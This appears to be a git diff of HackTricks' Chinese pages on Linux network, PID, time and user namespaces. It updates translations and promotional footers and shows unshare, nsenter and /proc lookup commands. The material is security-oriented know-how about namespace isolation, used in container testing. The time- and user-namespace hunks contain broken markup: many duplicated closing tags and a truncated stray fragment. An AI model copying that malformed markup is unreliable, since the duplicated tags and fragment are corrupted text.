@ -76,27 +77,28 @@ sudo find /proc -maxdepth 3 -type l -name net -exec readlink {} \; 2>/dev/null |
|
|||
# Find the processes with an specific namespace
|
||||
sudo find /proc -maxdepth 3 -type l -name net -exec ls -l {} \; 2>/dev/null | grep <ns-number>
|
||||
```
|
||||
### 进入网络命名空间
|
||||
|
||||
{% endcode %}
|
||||
|
||||
### 进入网络命名空间
|
||||
```bash
|
||||
nsenter -n TARGET_PID --pid /bin/bash
|
||||
```
|
||||
此外,**只有 root 用户才能进入另一个进程命名空间**。而且,**没有指向它的描述符**(如 `/proc/self/ns/net`),**无法进入**其他命名空间。
|
||||
您只能**以root身份进入另一个进程命名空间**。并且您**不能**在没有指向它的**描述符**(如`/proc/self/ns/net`)的情况下**进入**其他命名空间。
|
||||
|
||||
## 参考资料
|
||||
## 参考
|
||||
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) 上 **关注** 我。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,37 +1,39 @@
|
|||
# PID Namespace
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
## Basic Information
|
||||
|
||||
PID(进程标识符)命名空间是Linux内核中的一个功能,通过为一组进程提供自己独特的PID集合,使这些进程能够与其他命名空间中的PID分离,从而实现进程隔离。这在容器化中特别有用,因为进程隔离对于安全和资源管理至关重要。
|
||||
PID(进程标识符)命名空间是Linux内核中的一个特性,通过使一组进程拥有自己独特的PID集合,从而提供进程隔离,这些PID与其他命名空间中的PID是分开的。这在容器化中尤其有用,因为进程隔离对于安全性和资源管理至关重要。
|
||||
|
||||
创建新的PID命名空间时,该命名空间中的第一个进程被分配为PID 1。该进程成为新命名空间的“init”进程,并负责管理命名空间内的其他进程。在该命名空间内创建的每个后续进程将在该命名空间内具有唯一的PID,这些PID将独立于其他命名空间中的PID。
|
||||
当创建一个新的PID命名空间时,该命名空间中的第一个进程被分配PID 1。这个进程成为新命名空间的“init”进程,负责管理该命名空间内的其他进程。在命名空间内创建的每个后续进程将拥有该命名空间内的唯一PID,这些PID将独立于其他命名空间中的PID。
|
||||
|
||||
从PID命名空间内的进程的角度来看,它只能看到同一命名空间中的其他进程。它不知道其他命名空间中的进程,也无法使用传统的进程管理工具(例如`kill`、`wait`等)与其进行交互。这提供了一定程度的隔离,有助于防止进程相互干扰。
|
||||
从PID命名空间内进程的角度来看,它只能看到同一命名空间中的其他进程。它无法感知其他命名空间中的进程,也无法使用传统的进程管理工具(例如,`kill`,`wait`等)与它们交互。这提供了一种隔离级别,有助于防止进程之间的相互干扰。
|
||||
|
||||
### 工作原理:
|
||||
### How it works:
|
||||
|
||||
1. 当创建新进程(例如通过使用`clone()`系统调用)时,可以将该进程分配给新的或现有的PID命名空间。**如果创建了新的命名空间,该进程将成为该命名空间的“init”进程**。
|
||||
2. **内核**维护着新命名空间中PID与父命名空间(即创建新命名空间的命名空间)中相应PID之间的**映射**。这种映射**允许内核在必要时转换PID**,例如在不同命名空间中的进程之间发送信号时。
|
||||
3. **PID命名空间内的进程只能看到并与同一命名空间中的其他进程交互**。它们不知道其他命名空间中的进程,它们的PID在其命名空间内是唯一的。
|
||||
4. 当**销毁PID命名空间**(例如当命名空间的“init”进程退出时),**该命名空间内的所有进程都将被终止**。这确保了与命名空间相关的所有资源都得到适当清理。
|
||||
1. 当创建一个新进程时(例如,通过使用`clone()`系统调用),该进程可以被分配到一个新的或现有的PID命名空间。**如果创建了一个新的命名空间,该进程将成为该命名空间的“init”进程**。
|
||||
2. **内核**维护一个**新命名空间中的PID与父命名空间中相应PID之间的映射**(即,从中创建新命名空间的命名空间)。这个映射**允许内核在必要时翻译PID**,例如,在不同命名空间中的进程之间发送信号时。
|
||||
3. **PID命名空间内的进程只能看到并与同一命名空间中的其他进程交互**。它们无法感知其他命名空间中的进程,并且它们的PID在其命名空间内是唯一的。
|
||||
4. 当**PID命名空间被销毁**(例如,当命名空间的“init”进程退出时),**该命名空间内的所有进程都将被终止**。这确保与命名空间相关的所有资源都得到适当清理。
|
||||
|
||||
## 实验:
|
||||
## Lab:
|
||||
|
||||
### 创建不同的命名空间
|
||||
### Create different Namespaces
|
||||
|
||||
#### CLI
|
||||
```bash
|
||||
|
@ -41,36 +43,36 @@ sudo unshare -pf --mount-proc /bin/bash
|
|||
|
||||
<summary>错误:bash: fork: 无法分配内存</summary>
|
||||
|
||||
当使用`unshare`命令而没有使用`-f`选项时,由于Linux处理新PID(进程ID)命名空间的方式,会遇到错误。以下是关键细节和解决方案:
|
||||
当 `unshare` 在没有 `-f` 选项的情况下执行时,由于 Linux 处理新 PID(进程 ID)命名空间的方式,会遇到错误。关键细节和解决方案如下:
|
||||
|
||||
1. **问题解释**:
|
||||
- Linux内核允许进程使用`unshare`系统调用创建新的命名空间。然而,发起新PID命名空间创建的进程(称为“unshare”进程)不会进入新的命名空间;只有它的子进程会进入。
|
||||
- 运行`%unshare -p /bin/bash%`会在与`unshare`相同的进程中启动`/bin/bash`。因此,`/bin/bash`及其子进程位于原始PID命名空间中。
|
||||
- 在新命名空间中,`/bin/bash`的第一个子进程成为PID 1。当此进程退出时,如果没有其他进程,它会触发命名空间的清理,因为PID 1具有接管孤立进程的特殊角色。Linux内核随后会在该命名空间中禁用PID分配。
|
||||
- Linux 内核允许一个进程使用 `unshare` 系统调用创建新的命名空间。然而,启动新 PID 命名空间创建的进程(称为“unshare”进程)并不会进入新的命名空间;只有它的子进程会进入。
|
||||
- 运行 `%unshare -p /bin/bash%` 会在与 `unshare` 相同的进程中启动 `/bin/bash`。因此,`/bin/bash` 及其子进程处于原始 PID 命名空间中。
|
||||
- 新命名空间中 `/bin/bash` 的第一个子进程成为 PID 1。当该进程退出时,如果没有其他进程,它会触发命名空间的清理,因为 PID 1 具有收养孤儿进程的特殊角色。然后,Linux 内核将禁用该命名空间中的 PID 分配。
|
||||
|
||||
2. **后果**:
|
||||
- 在新命名空间中,PID 1的退出导致`PIDNS_HASH_ADDING`标志被清除。这导致`alloc_pid`函数在创建新进程时无法分配新的PID,从而产生“无法分配内存”错误。
|
||||
- 新命名空间中 PID 1 的退出导致 `PIDNS_HASH_ADDING` 标志的清理。这导致 `alloc_pid` 函数在创建新进程时无法分配新的 PID,从而产生“无法分配内存”的错误。
|
||||
|
||||
3. **解决方案**:
|
||||
- 可以通过在`unshare`命令中使用`-f`选项来解决此问题。此选项使`unshare`在创建新PID命名空间后fork一个新进程。
|
||||
- 执行`%unshare -fp /bin/bash%`确保`unshare`命令本身成为新命名空间中的PID 1。然后,`/bin/bash`及其子进程安全地包含在这个新命名空间中,防止PID 1过早退出并允许正常的PID分配。
|
||||
- 通过在 `unshare` 中使用 `-f` 选项可以解决此问题。此选项使 `unshare` 在创建新 PID 命名空间后分叉一个新进程。
|
||||
- 执行 `%unshare -fp /bin/bash%` 确保 `unshare` 命令本身在新命名空间中成为 PID 1。`/bin/bash` 及其子进程随后安全地包含在这个新命名空间中,防止 PID 1 提前退出,并允许正常的 PID 分配。
|
||||
|
||||
通过确保`unshare`使用`-f`标志运行,新PID命名空间将得到正确维护,从而使`/bin/bash`及其子进程能够正常运行,避免遇到内存分配错误。
|
||||
通过确保 `unshare` 以 `-f` 标志运行,新的 PID 命名空间得以正确维护,使得 `/bin/bash` 及其子进程能够正常运行,而不会遇到内存分配错误。
|
||||
|
||||
</details>
|
||||
|
||||
通过使用参数`--mount-proc`挂载`/proc`文件系统的新实例,确保新的挂载命名空间具有**准确且独立的进程信息视图,特定于该命名空间**。
|
||||
通过挂载新的 `/proc` 文件系统实例,如果使用参数 `--mount-proc`,您可以确保新的挂载命名空间具有 **特定于该命名空间的进程信息的准确和隔离的视图**。
|
||||
|
||||
#### Docker
|
||||
```bash
|
||||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||
```
|
||||
###  检查您的进程位于哪个命名空间
|
||||
###  检查您的进程所在的命名空间
|
||||
```bash
|
||||
ls -l /proc/self/ns/pid
|
||||
lrwxrwxrwx 1 root root 0 Apr 3 18:45 /proc/self/ns/pid -> 'pid:[4026532412]'
|
||||
```
|
||||
### 查找所有PID命名空间
|
||||
### 查找所有 PID 命名空间
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -78,29 +80,31 @@ sudo find /proc -maxdepth 3 -type l -name pid -exec readlink {} \; 2>/dev/null |
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
请注意,来自初始(默认)PID命名空间的root用户可以查看所有进程,甚至是在新PID命名空间中的进程,这就是为什么我们可以看到所有PID命名空间。
|
||||
请注意,初始(默认)PID 命名空间中的 root 用户可以看到所有进程,甚至是新 PID 命名空间中的进程,这就是我们可以看到所有 PID 命名空间的原因。
|
||||
|
||||
### 进入PID命名空间内部
|
||||
### 进入 PID 命名空间内部
|
||||
```bash
|
||||
nsenter -t TARGET_PID --pid /bin/bash
|
||||
```
|
||||
当您从默认命名空间进入PID命名空间时,您仍然可以看到所有进程。来自该PID命名空间的进程将能够看到PID命名空间上的新bash。
|
||||
当你从默认命名空间进入一个PID命名空间时,你仍然能够看到所有的进程。而来自该PID命名空间的进程将能够看到新的bash进程。
|
||||
|
||||
此外,只有**root用户**才能**进入另一个进程的PID命名空间**。您**无法**在没有指向其的描述符的情况下**进入**其他命名空间(例如`/proc/self/ns/pid`)
|
||||
此外,你**只能在你是root的情况下进入另一个进程的PID命名空间**。并且你**不能**在没有指向它的**描述符**的情况下**进入**其他命名空间(如`/proc/self/ns/pid`)。
|
||||
|
||||
## 参考资料
|
||||
## References
|
||||
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**上**关注我。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,52 +1,61 @@
|
|||
# 时间命名空间
|
||||
# Time Namespace
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
Linux中的时间命名空间允许对系统单调时钟和开机时间时钟进行每个命名空间的偏移。它通常用于Linux容器中,在容器内更改日期/时间并在从检查点或快照恢复后调整时钟。
|
||||
Linux 中的时间命名空间允许对系统单调时钟和启动时间时钟进行每个命名空间的偏移。它通常用于 Linux 容器中,以更改容器内的日期/时间,并在从检查点或快照恢复后调整时钟。
|
||||
|
||||
## 实验室:
|
||||
## 实验:
|
||||
|
||||
### 创建不同的命名空间
|
||||
|
||||
#### 命令行界面
|
||||
#### CLI
|
||||
```bash
|
||||
sudo unshare -T [--mount-proc] /bin/bash
|
||||
```
|
||||
通过使用参数`--mount-proc`挂载`/proc`文件系统的新实例,确保新的挂载命名空间对该命名空间特定的进程信息具有准确且隔离的视图。
|
||||
通过挂载新的 `/proc` 文件系统实例,如果使用参数 `--mount-proc`,您可以确保新的挂载命名空间具有 **特定于该命名空间的进程信息的准确和隔离的视图**。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>错误:bash: fork: 无法分配内存</summary>
|
||||
|
||||
当执行`unshare`时没有使用`-f`选项时,会出现错误,这是由于Linux处理新PID(进程ID)命名空间的方式。以下是关键细节和解决方案:
|
||||
当 `unshare` 在没有 `-f` 选项的情况下执行时,由于 Linux 处理新 PID(进程 ID)命名空间的方式,会遇到错误。以下是关键细节和解决方案:
|
||||
|
||||
1. **问题解释**:
|
||||
- Linux内核允许进程使用`unshare`系统调用创建新的命名空间。然而,发起新PID命名空间创建的进程(称为“unshare”进程)不会进入新的命名空间;只有它的子进程会。
|
||||
- 运行`%unshare -p /bin/bash%`会在与`unshare`相同的进程中启动`/bin/bash`。因此,`/bin/bash`及其子进程位于原始PID命名空间中。
|
||||
- 在新命名空间中,`/bin/bash`的第一个子进程变为PID 1。当此进程退出时,如果没有其他进程,它会触发命名空间的清理,因为PID 1具有接管孤立进程的特殊角色。然后Linux内核会禁用该命名空间中的PID分配。
|
||||
- Linux 内核允许进程使用 `unshare` 系统调用创建新的命名空间。然而,启动新 PID 命名空间创建的进程(称为“unshare”进程)并不会进入新的命名空间;只有它的子进程会进入。
|
||||
- 运行 `%unshare -p /bin/bash%` 会在与 `unshare` 相同的进程中启动 `/bin/bash`。因此,`/bin/bash` 及其子进程位于原始 PID 命名空间中。
|
||||
- 新命名空间中 `/bin/bash` 的第一个子进程成为 PID 1。当该进程退出时,如果没有其他进程,它会触发命名空间的清理,因为 PID 1 具有收养孤儿进程的特殊角色。然后,Linux 内核将禁用该命名空间中的 PID 分配。
|
||||
|
||||
2. **后果**:
|
||||
- 在新命名空间中,PID 1的退出导致`PIDNS_HASH_ADDING`标志的清除。这会导致`alloc_pid`函数在创建新进程时无法分配新的PID,从而产生“无法分配内存”错误。
|
||||
- 新命名空间中 PID 1 的退出导致 `PIDNS_HASH_ADDING` 标志的清理。这导致 `alloc_pid` 函数在创建新进程时无法分配新的 PID,从而产生“无法分配内存”的错误。
|
||||
|
||||
3. **解决方案**:
|
||||
- 可以通过在`unshare`中使用`-f`选项来解决此问题。此选项使`unshare`在创建新PID命名空间后fork一个新进程。
|
||||
- 执行`%unshare -fp /bin/bash%`确保`unshare`命令本身成为新命名空间中的PID 1。然后,`/bin/bash`及其子进程安全地包含在此新命名空间中,防止PID 1过早退出,并允许正常的PID分配。
|
||||
- 通过在 `unshare` 中使用 `-f` 选项可以解决此问题。此选项使 `unshare` 在创建新 PID 命名空间后分叉一个新进程。
|
||||
- 执行 `%unshare -fp /bin/bash%` 确保 `unshare` 命令本身在新命名空间中成为 PID 1。`/bin/bash` 及其子进程随后安全地包含在这个新命名空间中,防止 PID 1 的过早退出,并允许正常的 PID 分配。
|
||||
|
||||
通过确保`unshare`使用`-f`标志运行,可以正确维护新的PID命名空间,使`/bin/bash`及其子进程能够正常运行,而不会遇到内存分配错误。
|
||||
通过确保 `unshare` 以 `-f` 标志运行,新的 PID 命名空间得以正确维护,允许 `/bin/bash` 及其子进程在不遇到内存分配错误的情况下运行。
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -54,7 +63,7 @@ sudo unshare -T [--mount-proc] /bin/bash
|
|||
```bash
|
||||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||
```
|
||||
###  检查您的进程位于哪个命名空间
|
||||
###  检查您的进程所在的命名空间
|
||||
```bash
|
||||
ls -l /proc/self/ns/time
|
||||
lrwxrwxrwx 1 root root 0 Apr 4 21:16 /proc/self/ns/time -> 'time:[4026531834]'
|
||||
|
@ -73,4 +82,33 @@ sudo find /proc -maxdepth 3 -type l -name time -exec ls -l {} \; 2>/dev/null |
|
|||
```bash
|
||||
nsenter -T TARGET_PID --pid /bin/bash
|
||||
```
|
||||
也,只有**root用户**才能**进入另一个进程命名空间**。而且,**没有指向它的描述符**(如`/proc/self/ns/net`),你**无法**进入其他命名空间。
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}黑客技巧,通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR。
|
||||
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,61 +1,68 @@
|
|||
# 用户命名空间
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
用户命名空间是Linux内核的一个功能,**提供用户和组ID映射的隔离**,允许每个用户命名空间拥有**自己的用户和组ID集合**。这种隔离使得在不同用户命名空间中运行的进程可以**拥有不同的特权和所有权**,即使它们在数字上共享相同的用户和组ID。
|
||||
用户命名空间是一个 Linux 内核特性,**提供用户和组 ID 映射的隔离**,允许每个用户命名空间拥有**自己的一组用户和组 ID**。这种隔离使得在不同用户命名空间中运行的进程**可以拥有不同的权限和所有权**,即使它们在数字上共享相同的用户和组 ID。
|
||||
|
||||
用户命名空间在容器化中特别有用,每个容器应该有自己独立的用户和组ID集合,从而在容器和主机系统之间实现更好的安全性和隔离。
|
||||
用户命名空间在容器化中尤其有用,每个容器应该拥有自己独立的用户和组 ID 集合,从而在容器与主机系统之间提供更好的安全性和隔离。
|
||||
|
||||
### 工作原理:
|
||||
|
||||
1. 创建新用户命名空间时,它**从一个空的用户和组ID映射集开始**。这意味着在新用户命名空间中运行的任何进程**最初在命名空间外部没有特权**。
|
||||
2. 可以在新命名空间和父(或主机)命名空间之间建立ID映射。这**允许新命名空间中的进程具有与父命名空间中的用户和组ID相对应的特权和所有权**。但是,ID映射可以限制为特定范围和ID子集,从而对在新命名空间中的进程授予的特权进行精细控制。
|
||||
3. 在用户命名空间内,**进程可以拥有完整的根特权(UID 0)用于命名空间内的操作**,同时在命名空间外部具有有限特权。这允许**容器在其自己的命名空间中以类似根用户的能力运行,而不会在主机系统上具有完整的根特权**。
|
||||
